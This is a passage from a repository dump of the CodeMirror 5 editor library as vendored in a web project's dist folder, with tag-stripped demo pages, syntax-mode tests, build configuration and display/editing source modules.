scripts) { 32 | if (scripts) importScripts.apply(null, scripts); 33 | 34 | server = new tern.Server({ 35 | getFile: getFile, 36 | async: true, 37 | defs: defs, 38 | plugins: plugins 39 | }); 40 | } 41 | 42 | this.console = { 43 | log: function(v) { postMessage({type: "debug", message: v}); } 44 | }; 45 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/closetag.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Close-Tag Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 18 | 30 | 31 |
32 |

Close-Tag Demo

33 |
34 | 35 | 41 |
42 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/marker.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Breakpoint Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 15 | 27 | 28 |
29 |

Breakpoint Demo

30 |
47 | 48 |

Click the line-number gutter to add or remove 'breakpoints'.

49 | 50 | 51 | 52 |
53 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/matchtags.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Tag Matcher Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 15 | 27 | 28 |
29 |

Tag Matcher Demo

30 | 31 | 32 |
33 | 34 | 44 | 45 |

Put the cursor on or inside a pair of tags to highlight them. 46 | Press Ctrl-J to jump to the tag that matches the one under the 47 | cursor.

48 |
49 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/placeholder.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Placeholder demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 16 | 28 | 29 |
30 |

Placeholder demo

31 |
32 | 33 |

The placeholder 34 | plug-in adds an option placeholder that can be set to 35 | make text appear in the editor when it is empty and not focused. 36 | If the source textarea has a placeholder attribute, 37 | it will automatically be inherited.

38 | 39 | 44 | 45 |
46 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/resize.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Autoresize Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 16 | 28 | 29 |
30 |

Autoresize Demo

31 |
37 | 38 |

By setting an editor's height style 39 | to auto and giving 40 | the viewportMargin 41 | a value of Infinity, CodeMirror can be made to 42 | automatically resize to fit its content.

43 | 44 | 50 | 51 |
52 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/rulers.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Ruler Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 13 | 25 | 26 |
27 |

Ruler Demo

28 | 29 | 44 | 45 |

Demonstration of 46 | the rulers addon, which 47 | displays vertical lines at given column offsets.

48 | 49 |
50 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/demo/trailingspace.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Trailing Whitespace Demo 4 | 5 | 6 | 7 | 8 | 9 | 10 | 18 | 30 | 31 |
32 |

Trailing Whitespace Demo

33 |
36 | 37 | 43 | 44 |

Uses 45 | the trailingspace 46 | addon to highlight trailing whitespace.

47 | 48 |
49 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/doc/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/dist/codemirror/doc/logo.png -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/doc/yinyang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/dist/codemirror/doc/yinyang.png -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/asciiarmor/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: ASCII Armor (PGP) mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

ASCII Armor (PGP) mode

27 |
36 | 37 | 42 | 43 |

MIME types 44 | defined: application/pgp, application/pgp-encrypted, application/pgp-keys, application/pgp-signature

45 | 46 |
47 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/css/gss_test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | "use strict"; 6 | 7 | var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-gss"); 8 | function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "gss"); } 9 | 10 | MT("atComponent", 11 | "[def @component] {", 12 | "[tag foo] {", 13 | " [property color]: [keyword black];", 14 | "}", 15 | "}"); 16 | 17 | })(); 18 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/cypher/test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | var mode = CodeMirror.getMode({tabSize: 4, indentUnit: 2}, "cypher"); 6 | function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); } 7 | 8 | MT("unbalancedDoubledQuotedString", 9 | "[string \"a'b\"][variable c]"); 10 | 11 | MT("unbalancedSingleQuotedString", 12 | "[string 'a\"b'][variable c]"); 13 | 14 | MT("doubleQuotedString", 15 | "[string \"a\"][variable b]"); 16 | 17 | MT("singleQuotedString", 18 | "[string 'a'][variable b]"); 19 | 20 | MT("single attribute (with content)", 21 | "[node {][atom a:][string 'a'][node }]"); 22 | 23 | MT("multiple attribute, singleQuotedString (with content)", 24 | "[node {][atom a:][string 'a'][node ,][atom b:][string 'b'][node }]"); 25 | 26 | MT("multiple attribute, doubleQuotedString (with content)", 27 | "[node {][atom a:][string \"a\"][node ,][atom b:][string \"b\"][node }]"); 28 | 29 | MT("single attribute (without content)", 30 | "[node {][atom a:][string 'a'][node }]"); 31 | 32 | MT("multiple attribute, singleQuotedString (without content)", 33 | "[node {][atom a:][string ''][node ,][atom b:][string ''][node }]"); 34 | 35 | MT("multiple attribute, doubleQuotedString (without content)", 36 | "[node {][atom a:][string \"\"][node ,][atom b:][string \"\"][node }]"); 37 | })(); 38 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/d/test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | var mode = CodeMirror.getMode({indentUnit: 2}, "d"); 6 | function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); } 7 | 8 | MT("nested_comments", 9 | "[comment /+]","[comment comment]","[comment +/]","[variable void] [variable main](){}"); 10 | 11 | })(); 12 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/diff/diff.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror")); 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror"], mod); 9 | else // Plain browser env 10 | mod(CodeMirror); 11 | })(function(CodeMirror) { 12 | "use strict"; 13 | 14 | CodeMirror.defineMode("diff", function() { 15 | 16 | var TOKEN_NAMES = { 17 | '+': 'positive', 18 | '-': 'negative', 19 | '@': 'meta' 20 | }; 21 | 22 | return { 23 | token: function(stream) { 24 | var tw_pos = stream.string.search(/[\t ]+?$/); 25 | 26 | if (!stream.sol() || tw_pos === 0) { 27 | stream.skipToEnd(); 28 | return ("error " + ( 29 | TOKEN_NAMES[stream.string.charAt(0)] || '')).replace(/ $/, ''); 30 | } 31 | 32 | var token_name = TOKEN_NAMES[stream.peek()] || stream.skipToEnd(); 33 | 34 | if (tw_pos === -1) { 35 | stream.skipToEnd(); 36 | } else { 37 | stream.pos = tw_pos; 38 | } 39 | 40 | return token_name; 41 | } 42 | }; 43 | }); 44 | 45 | CodeMirror.defineMIME("text/x-diff", "diff"); 46 | 47 | }); 48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/ecl/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: ECL mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

ECL mode

27 |
45 | 48 | 49 |

Based on CodeMirror's clike mode. For more information see HPCC Systems web site.

50 |

MIME types defined: text/x-ecl.

51 | 52 |
53 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/gherkin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Gherkin mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

Gherkin mode

27 |
42 | 45 | 46 |

MIME types defined: text/x-feature.

47 | 48 |
49 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/haskell-literate/haskell-literate.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function (mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror"), require("../haskell/haskell")) 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror", "../haskell/haskell"], mod) 9 | else // Plain browser env 10 | mod(CodeMirror) 11 | })(function (CodeMirror) { 12 | "use strict" 13 | 14 | CodeMirror.defineMode("haskell-literate", function (config, parserConfig) { 15 | var baseMode = CodeMirror.getMode(config, (parserConfig && parserConfig.base) || "haskell") 16 | 17 | return { 18 | startState: function () { 19 | return { 20 | inCode: false, 21 | baseState: CodeMirror.startState(baseMode) 22 | } 23 | }, 24 | token: function (stream, state) { 25 | if (stream.sol()) { 26 | if (state.inCode = stream.eat(">")) 27 | return "meta" 28 | } 29 | if (state.inCode) { 30 | return baseMode.token(stream, state.baseState) 31 | } else { 32 | stream.skipToEnd() 33 | return "comment" 34 | } 35 | }, 36 | innerMode: function (state) { 37 | return state.inCode ? {state: state.baseState, mode: baseMode} : null 38 | } 39 | } 40 | }, "haskell") 41 | 42 | CodeMirror.defineMIME("text/x-literate-haskell", "haskell-literate") 43 | }); 44 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/http/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: HTTP mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

HTTP mode

27 | 28 | 29 |
39 | 40 | 43 | 44 |

MIME types defined: message/http.

45 |
46 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/mbox/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: mbox mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

mbox mode

27 |
38 | 41 | 42 |

MIME types defined: application/mbox.

43 | 44 |
45 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/oz/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Oz mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | 26 | 27 |
28 |

Oz mode

29 | 50 |

MIME type defined: text/x-oz.

51 | 52 | 59 |
60 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/pascal/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Pascal mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

Pascal mode

27 | 28 | 29 |
52 | 53 | 59 | 60 |

MIME types defined: text/x-pascal.

61 |
62 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/pig/index.html: -------------------------------------------------------------------------------- 1 |  2 | CodeMirror: Pig Latin mode 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 23 | 24 |
25 |

Pig Latin mode

26 |
38 | 39 | 46 | 47 |

48 | Simple mode that handles Pig Latin language. 49 |

50 | 51 |

MIME type defined: text/x-pig 52 | (PIG code) 53 |

54 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/ruby/test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | var mode = CodeMirror.getMode({indentUnit: 2}, "ruby"); 6 | function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); } 7 | 8 | MT("divide_equal_operator", 9 | "[variable bar] [operator /=] [variable foo]"); 10 | 11 | MT("divide_equal_operator_no_spacing", 12 | "[variable foo][operator /=][number 42]"); 13 | 14 | MT("complex_regexp", 15 | "[keyword if] [variable cr] [operator =~] [string-2 /(?: \\( #{][tag RE_NOT][string-2 }\\( | #{][tag RE_NOT_PAR_OR][string-2 }* #{][tag RE_OPA_OR][string-2 } )/][variable x]") 16 | 17 | MT("indented_heredoc", 18 | "[keyword def] [def x]", 19 | " [variable y] [operator =] [string <<-FOO]", 20 | "[string bar]", 21 | "[string FOO]", 22 | "[keyword end]") 23 | })(); 24 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/rust/test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | var mode = CodeMirror.getMode({indentUnit: 4}, "rust"); 6 | function MT(name) {test.mode(name, mode, Array.prototype.slice.call(arguments, 1));} 7 | 8 | MT('integer_test', 9 | '[number 123i32]', 10 | '[number 123u32]', 11 | '[number 123_u32]', 12 | '[number 0xff_u8]', 13 | '[number 0o70_i16]', 14 | '[number 0b1111_1111_1001_0000_i32]', 15 | '[number 0usize]'); 16 | 17 | MT('float_test', 18 | '[number 123.0f64]', 19 | '[number 0.1f64]', 20 | '[number 0.1f32]', 21 | '[number 12E+99_f64]'); 22 | 23 | MT('string-literals-test', 24 | '[string "foo"]', 25 | '[string r"foo"]', 26 | '[string "\\"foo\\""]', 27 | '[string r#""foo""#]', 28 | '[string "foo #\\"# bar"]', 29 | 30 | '[string b"foo"]', 31 | '[string br"foo"]', 32 | '[string b"\\"foo\\""]', 33 | '[string br#""foo""#]', 34 | '[string br##"foo #" bar"##]', 35 | 36 | "[string-2 'h']", 37 | "[string-2 b'h']"); 38 | 39 | })(); 40 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/solr/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Solr mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 20 | 33 | 34 |
35 |

Solr mode

36 | 37 |
38 | 47 |
48 | 49 | 55 | 56 |

MIME types defined: text/x-solr.

57 |
58 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/spreadsheet/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Spreadsheet mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 25 | 26 |
27 |

Spreadsheet mode

28 |
29 | 30 | 37 | 38 |

MIME types defined: text/x-spreadsheet.

39 | 40 |

The Spreadsheet Mode

41 |

Created by Robert Plummer

42 |
43 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/tiddlywiki/tiddlywiki.css: -------------------------------------------------------------------------------- 1 | span.cm-underlined { 2 | text-decoration: underline; 3 | } 4 | span.cm-strikethrough { 5 | text-decoration: line-through; 6 | } 7 | span.cm-brace { 8 | color: #170; 9 | font-weight: bold; 10 | } 11 | span.cm-table { 12 | color: blue; 13 | font-weight: bold; 14 | } 15 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/tiki/tiki.css: -------------------------------------------------------------------------------- 1 | .cm-tw-syntaxerror { 2 | color: #FFF; 3 | background-color: #900; 4 | } 5 | 6 | .cm-tw-deleted { 7 | text-decoration: line-through; 8 | } 9 | 10 | .cm-tw-header5 { 11 | font-weight: bold; 12 | } 13 | .cm-tw-listitem:first-child { /*Added first child to fix duplicate padding when highlighting*/ 14 | padding-left: 10px; 15 | } 16 | 17 | .cm-tw-box { 18 | border-top-width: 0px !important; 19 | border-style: solid; 20 | border-width: 1px; 21 | border-color: inherit; 22 | } 23 | 24 | .cm-tw-underline { 25 | text-decoration: underline; 26 | } -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/turtle/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Turtle mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 25 | 26 |
27 |

Turtle mode

28 |
42 | 48 | 49 |

MIME types defined: text/turtle.

50 | 51 |
52 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/twig/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Twig mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 26 | 27 |
28 |

Twig mode

29 |
42 | 47 |
48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/vb/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: VB.NET mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 17 | 30 | 31 |
32 |

VB.NET mode

33 |
34 | 46 |
47 |

MIME type defined: text/x-vb.

48 | 49 |
50 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/vbscript/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: VBScript mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

VBScript mode

27 | 28 | 29 |
46 | 47 | 53 | 54 |

MIME types defined: text/vbscript.

55 |
56 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/mode/z80/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CodeMirror: Z80 assembly mode 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 24 | 25 |
26 |

Z80 assembly mode

27 | 28 | 29 |
45 | 46 | 51 | 52 |

MIME types defined: text/x-z80, text/x-ez80.

53 |
54 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "codemirror", 3 | "version": "5.55.0", 4 | "main": "lib/codemirror.js", 5 | "style": "lib/codemirror.css", 6 | "author": { 7 | "name": "Marijn Haverbeke", 8 | "email": "marijnh@gmail.com", 9 | "url": "http://marijnhaverbeke.nl" 10 | }, 11 | "description": "Full-featured in-browser code editor", 12 | "license": "MIT", 13 | "directories": { 14 | "lib": "./lib" 15 | }, 16 | "scripts": { 17 | "build": "rollup -c", 18 | "watch": "rollup -w -c", 19 | "prepare": "npm run-script build", 20 | "test": "node ./test/run.js", 21 | "lint": "bin/lint" 22 | }, 23 | "devDependencies": { 24 | "@rollup/plugin-buble": "^0.21.3", 25 | "blint": "^1.1.0", 26 | "node-static": "0.7.11", 27 | "puppeteer": "^1.20.0", 28 | "rollup": "^1.26.3" 29 | }, 30 | "bugs": "http://github.com/codemirror/CodeMirror/issues", 31 | "keywords": [ 32 | "JavaScript", 33 | "CodeMirror", 34 | "Editor" 35 | ], 36 | "homepage": "https://codemirror.net", 37 | "repository": { 38 | "type": "git", 39 | "url": "https://github.com/codemirror/CodeMirror.git" 40 | }, 41 | "jspm": { 42 | "directories": {}, 43 | "dependencies": {}, 44 | "devDependencies": {} 45 | }, 46 | "dependencies": {} 47 | } 48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/rollup.config.js: -------------------------------------------------------------------------------- 1 | import buble from '@rollup/plugin-buble'; 2 | 3 | export default [ 4 | { 5 | input: "src/codemirror.js", 6 | output: { 7 | banner: `// CodeMirror, copyright (c) by Marijn Haverbeke and others 8 | // Distributed under an MIT license: https://codemirror.net/LICENSE 9 | 10 | // This is CodeMirror (https://codemirror.net), a code editor 11 | // implemented in JavaScript on top of the browser's DOM. 12 | // 13 | // You can find some technical background for some of the code below 14 | // at http://marijnhaverbeke.nl/blog/#cm-internals . 15 | `, 16 | format: "umd", 17 | file: "lib/codemirror.js", 18 | name: "CodeMirror" 19 | }, 20 | plugins: [ buble({namedFunctionExpressions: false}) ] 21 | }, 22 | { 23 | input: ["src/addon/runmode/runmode-standalone.js"], 24 | output: { 25 | format: "iife", 26 | file: "addon/runmode/runmode-standalone.js", 27 | name: "CodeMirror", 28 | freeze: false, // IE8 doesn't support Object.freeze. 29 | }, 30 | plugins: [ buble({namedFunctionExpressions: false}) ] 31 | }, 32 | { 33 | input: ["src/addon/runmode/runmode.node.js"], 34 | output: { 35 | format: "cjs", 36 | file: "addon/runmode/runmode.node.js", 37 | name: "CodeMirror", 38 | freeze: false, // IE8 doesn't support Object.freeze. 39 | }, 40 | plugins: [ buble({namedFunctionExpressions: false}) ] 41 | }, 42 | ]; 43 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/addon/runmode/codemirror-standalone.js: -------------------------------------------------------------------------------- 1 | import StringStream from "../../util/StringStream.js" 2 | import * as modeMethods from "../../modes.js" 3 | 4 | // declare global: globalThis, CodeMirror 5 | 6 | // Create a minimal CodeMirror needed to use runMode, and assign to root. 7 | var root = typeof globalThis !== 'undefined' ? globalThis : window 8 | root.CodeMirror = {} 9 | 10 | // Copy StringStream and mode methods into CodeMirror object. 11 | CodeMirror.StringStream = StringStream 12 | for (var exported in modeMethods) CodeMirror[exported] = modeMethods[exported] 13 | 14 | // Minimal default mode. 15 | CodeMirror.defineMode("null", () => ({token: stream => stream.skipToEnd()})) 16 | CodeMirror.defineMIME("text/plain", "null") 17 | 18 | CodeMirror.registerHelper = CodeMirror.registerGlobalHelper = Math.min 19 | CodeMirror.splitLines = function(string) { return string.split(/\r?\n|\r/) } 20 | 21 | CodeMirror.defaults = { indentUnit: 2 } 22 | export default CodeMirror 23 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/addon/runmode/codemirror.node.js: -------------------------------------------------------------------------------- 1 | import StringStream from "../../util/StringStream.js" 2 | import * as modeMethods from "../../modes.js" 3 | import {countColumn} from "../../util/misc.js" 4 | 5 | // Copy StringStream and mode methods into exports (CodeMirror) object. 6 | exports.StringStream = StringStream 7 | exports.countColumn = countColumn 8 | for (var exported in modeMethods) exports[exported] = modeMethods[exported] 9 | 10 | // Shim library CodeMirror with the minimal CodeMirror defined above. 11 | require.cache[require.resolve("../../lib/codemirror")] = require.cache[require.resolve("./runmode.node")] 12 | require.cache[require.resolve("../../addon/runmode/runmode")] = require.cache[require.resolve("./runmode.node")] 13 | 14 | // Minimal default mode. 15 | exports.defineMode("null", () => ({token: stream => stream.skipToEnd()})) 16 | exports.defineMIME("text/plain", "null") 17 | 18 | exports.registerHelper = exports.registerGlobalHelper = Math.min 19 | exports.splitLines = function(string) { return string.split(/\r?\n|\r/) } 20 | 21 | exports.defaults = { indentUnit: 2 } 22 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/addon/runmode/runmode-standalone.js: -------------------------------------------------------------------------------- 1 | import "./codemirror-standalone.js" 2 | import "../../../addon/runmode/runmode.js" -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/addon/runmode/runmode.node.js: -------------------------------------------------------------------------------- 1 | import "./codemirror.node.js" 2 | import "../../../addon/runmode/runmode.js" -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/codemirror.js: -------------------------------------------------------------------------------- 1 | import { CodeMirror } from "./edit/main.js" 2 | 3 | export default CodeMirror 4 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/display/focus.js: -------------------------------------------------------------------------------- 1 | import { restartBlink } from "./selection.js" 2 | import { webkit } from "../util/browser.js" 3 | import { addClass, rmClass } from "../util/dom.js" 4 | import { signal } from "../util/event.js" 5 | 6 | export function ensureFocus(cm) { 7 | if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm) } 8 | } 9 | 10 | export function delayBlurEvent(cm) { 11 | cm.state.delayingBlurEvent = true 12 | setTimeout(() => { if (cm.state.delayingBlurEvent) { 13 | cm.state.delayingBlurEvent = false 14 | onBlur(cm) 15 | } }, 100) 16 | } 17 | 18 | export function onFocus(cm, e) { 19 | if (cm.state.delayingBlurEvent) cm.state.delayingBlurEvent = false 20 | 21 | if (cm.options.readOnly == "nocursor") return 22 | if (!cm.state.focused) { 23 | signal(cm, "focus", cm, e) 24 | cm.state.focused = true 25 | addClass(cm.display.wrapper, "CodeMirror-focused") 26 | // This test prevents this from firing when a context 27 | // menu is closed (since the input reset would kill the 28 | // select-all detection hack) 29 | if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) { 30 | cm.display.input.reset() 31 | if (webkit) setTimeout(() => cm.display.input.reset(true), 20) // Issue #1730 32 | } 33 | cm.display.input.receivedFocus() 34 | } 35 | restartBlink(cm) 36 | } 37 | export function onBlur(cm, e) { 38 | if (cm.state.delayingBlurEvent) return 39 | 40 | if (cm.state.focused) { 41 | signal(cm, "blur", cm, e) 42 | cm.state.focused = false 43 | rmClass(cm.display.wrapper, "CodeMirror-focused") 44 | } 45 | clearInterval(cm.display.blinker) 46 | setTimeout(() => { if (!cm.state.focused) cm.display.shift = false }, 150) 47 | } 48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/display/gutters.js: -------------------------------------------------------------------------------- 1 | import { elt, removeChildren } from "../util/dom.js" 2 | import { regChange } from "./view_tracking.js" 3 | import { alignHorizontally } from "./line_numbers.js" 4 | import { updateGutterSpace } from "./update_display.js" 5 | 6 | export function getGutters(gutters, lineNumbers) { 7 | let result = [], sawLineNumbers = false 8 | for (let i = 0; i < gutters.length; i++) { 9 | let name = gutters[i], style = null 10 | if (typeof name != "string") { style = name.style; name = name.className } 11 | if (name == "CodeMirror-linenumbers") { 12 | if (!lineNumbers) continue 13 | else sawLineNumbers = true 14 | } 15 | result.push({className: name, style}) 16 | } 17 | if (lineNumbers && !sawLineNumbers) result.push({className: "CodeMirror-linenumbers", style: null}) 18 | return result 19 | } 20 | 21 | // Rebuild the gutter elements, ensure the margin to the left of the 22 | // code matches their width. 23 | export function renderGutters(display) { 24 | let gutters = display.gutters, specs = display.gutterSpecs 25 | removeChildren(gutters) 26 | display.lineGutter = null 27 | for (let i = 0; i < specs.length; ++i) { 28 | let {className, style} = specs[i] 29 | let gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + className)) 30 | if (style) gElt.style.cssText = style 31 | if (className == "CodeMirror-linenumbers") { 32 | display.lineGutter = gElt 33 | gElt.style.width = (display.lineNumWidth || 1) + "px" 34 | } 35 | } 36 | gutters.style.display = specs.length ? "" : "none" 37 | updateGutterSpace(display) 38 | } 39 | 40 | export function updateGutters(cm) { 41 | renderGutters(cm.display) 42 | regChange(cm) 43 | alignHorizontally(cm) 44 | } 45 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/display/mode_state.js: -------------------------------------------------------------------------------- 1 | import { getMode } from "../modes.js" 2 | 3 | import { startWorker } from "./highlight_worker.js" 4 | import { regChange } from "./view_tracking.js" 5 | 6 | // Used to get the editor into a consistent state again when options change. 7 | 8 | export function loadMode(cm) { 9 | cm.doc.mode = getMode(cm.options, cm.doc.modeOption) 10 | resetModeState(cm) 11 | } 12 | 13 | export function resetModeState(cm) { 14 | cm.doc.iter(line => { 15 | if (line.stateAfter) line.stateAfter = null 16 | if (line.styles) line.styles = null 17 | }) 18 | cm.doc.modeFrontier = cm.doc.highlightFrontier = cm.doc.first 19 | startWorker(cm, 100) 20 | cm.state.modeGen++ 21 | if (cm.curOp) regChange(cm) 22 | } 23 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/edit/deleteNearSelection.js: -------------------------------------------------------------------------------- 1 | import { runInOp } from "../display/operations.js" 2 | import { ensureCursorVisible } from "../display/scrolling.js" 3 | import { cmp } from "../line/pos.js" 4 | import { replaceRange } from "../model/changes.js" 5 | import { lst } from "../util/misc.js" 6 | 7 | // Helper for deleting text near the selection(s), used to implement 8 | // backspace, delete, and similar functionality. 9 | export function deleteNearSelection(cm, compute) { 10 | let ranges = cm.doc.sel.ranges, kill = [] 11 | // Build up a set of ranges to kill first, merging overlapping 12 | // ranges. 13 | for (let i = 0; i < ranges.length; i++) { 14 | let toKill = compute(ranges[i]) 15 | while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) { 16 | let replaced = kill.pop() 17 | if (cmp(replaced.from, toKill.from) < 0) { 18 | toKill.from = replaced.from 19 | break 20 | } 21 | } 22 | kill.push(toKill) 23 | } 24 | // Next, remove those actual ranges. 25 | runInOp(cm, () => { 26 | for (let i = kill.length - 1; i >= 0; i--) 27 | replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete") 28 | ensureCursorVisible(cm) 29 | }) 30 | } 31 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/edit/global_events.js: -------------------------------------------------------------------------------- 1 | import { onBlur } from "../display/focus.js" 2 | import { on } from "../util/event.js" 3 | 4 | // These must be handled carefully, because naively registering a 5 | // handler for each editor will cause the editors to never be 6 